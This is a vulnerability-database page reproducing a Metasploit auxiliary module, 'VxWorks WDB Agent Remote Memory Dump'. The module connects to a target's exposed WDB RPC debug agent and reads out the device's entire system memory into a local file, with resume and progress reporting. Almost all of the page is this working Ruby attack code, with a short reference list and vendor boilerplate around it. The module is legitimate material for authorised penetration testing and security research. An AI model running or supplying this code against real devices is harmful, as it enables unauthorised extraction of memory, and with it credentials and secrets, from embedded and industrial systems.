Lucene search
+L

VxWorks WDB Agent Remote Memory Dump

🗓️ 02 Aug 2010 05:56:26Reported by hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 35 Views

VxWorks WDB Agent Remote Memory Dump module for system memory dum

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::WDBRPC_Client

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VxWorks WDB Agent Remote Memory Dump',
      'Description'    => %q{
        This module provides the ability to dump the system memory of a VxWorks target through WDBRPC
      },
      'Author'         => [ 'hdm'],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['OSVDB', '66842'],
          ['URL', 'https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],
          ['US-CERT-VU', '362332']
        ],
      'Actions'     =>
        [
          ['Download', 'Description' => 'Dump system memory']
        ],
      'DefaultAction' => 'Download'
      ))

    register_options(
      [
        OptString.new('LPATH',
          [
            true,
            "The local filename to store the dumped memory",
            ::File.join(Msf::Config.log_directory, "vxworks_memory.dmp")
          ]
        ),
        OptInt.new('OFFSET', [ true, "The starting offset to read the memory dump (hex allowed)", 0 ])
      ])
  end

  def run
    offset = datastore['OFFSET'].to_i
    print_status("Attempting to dump system memory, starting at offset 0x%02x" % offset)

    wdbrpc_client_connect

    if not @wdbrpc_info[:rt_vers]
      print_error("No response to connection request")
      return
    end

    membase = @wdbrpc_info[:rt_membase]
    memsize = @wdbrpc_info[:rt_memsize]
    mtu     = @wdbrpc_info[:agent_mtu]

    print_status("Dumping #{"0x%.8x" % memsize} bytes from base address #{"0x%.8x" % membase} at offset #{"0x%.8x" % offset}...")

    lfd = nil
    if offset != 0
      begin
        # Turns out ruby's implementation of seek with "ab" mode is all kind of busted.
        lfd = ::File.open(datastore['LPATH'], "r+b")
        lfd.seek(offset)
      rescue Errno::ENOENT
        print_error("Unable to open existing dump!  Writing a new file instead of resuming...")
        lfd = ::File.open(datastore['LPATH'], "wb")
      end
    else
      lfd = ::File.open(datastore['LPATH'], "wb")
    end

    mtu -= 80
    idx  = offset
    lpt  = 0.00
    sts = Time.now.to_f


    while (idx < memsize)
      buff = wdbrpc_client_memread(membase + idx, mtu)
      if not buff
        print_error("Failed to download data at offset #{"0x%.8x" % idx}")
        return
      end

      idx += buff.length
      lfd.write(buff)

      pct = ((idx / memsize.to_f) * 10000).to_i
      pct = pct / 100.0

      if pct != lpt
        eta = Time.at(Time.now.to_f + (((Time.now.to_f - sts) / pct) * (100.0 - pct)))
        print_status("[ #{sprintf("%.2d", pct)} % ] Downloaded #{"0x%.8x" % idx} of #{"0x%.8x" % memsize} bytes (complete at #{eta.to_s})")
        lpt = pct
      end
    end

    lfd.close

    print_status("Dumped #{"0x%.8x" % idx} bytes.")
    wdbrpc_client_disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Feb 2022 23:22Current
7.2High risk
Vulners AI Score7.2
35